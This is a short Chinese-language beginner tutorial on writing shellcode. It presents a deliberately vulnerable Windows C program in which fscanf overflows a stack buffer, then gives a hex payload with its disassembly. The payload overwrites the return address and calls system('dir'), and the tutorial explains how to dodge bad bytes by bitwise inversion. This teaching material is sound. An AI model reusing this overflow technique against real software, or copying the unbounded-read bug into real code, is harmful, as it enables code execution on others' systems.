ShellCode第一课

C代码

#include "stdafx.h" #include <stdio.h> #include <string.h> #include <windows.h> #include <process.h> int Check() { char szPwd[50] = {0}; char Pwd[] = "Hello"; FILE *pFile = fopen("Shell.bin","r+"); if (pFile == NULL) { GetLastError(); return 0; } fscanf(pFile,"%s",szPwd); if (pFile) { fclose(pFile); pFile = NULL; } if (strcmp(Pwd,szPwd) == 0) { return 1; } return 0; }; int main(int argc, char* argv[]) { int i = 0; while (i < 3) { if (Check()) { break; } i++; } if (i < 3) { printf("Ok!/r/n"); } else { printf("No!/r/n"); } system("pause"); return 0; }

 

未优化的Shell.bin文件 只是简单表示执行过程

9B968DFF9090909090909090909090908BF583EE78F7168BE65481EAA9D3527CFFD290909090909090909090909090909090909058FF1200

说明

9B968DFF  “dir”的反码表示形式 909090909090909090909090   空余空间 8BF583EE78F7168BE65481EAA9D3527CFFD2 0012FF58    8BF5            mov     esi, ebp  //构造的EIP 0012FF5A    83EE 78         sub     esi, 78 0012FF5D    F716            not     dword ptr [esi]  //还原”dir” 0012FF5F    8BE6            mov     esp, esi 0012FF61    54              push    esp //得到system地址并执行 0012FF62    81EA A9D3527C   sub     edx, 7C52D3A9 0012FF68    FFD2            call    edx     909090909090909090909090909090909090空余空间 58FF1200  关键点:这里替换了原来的函数返回地址 指向我们的代码地址

关键点

1:Fscanf在参数传递过程中没有对参数长度进行校验造成缓冲区溢出 2:Fscanf函数在读取文件的时候遇到 结束字符”00”,空格”20”等不能继续读取 所以   在shellcode的时候这是关键点  所以要避免出现这些敏感字符 所以用求反not   等办法处理  或者++ --等……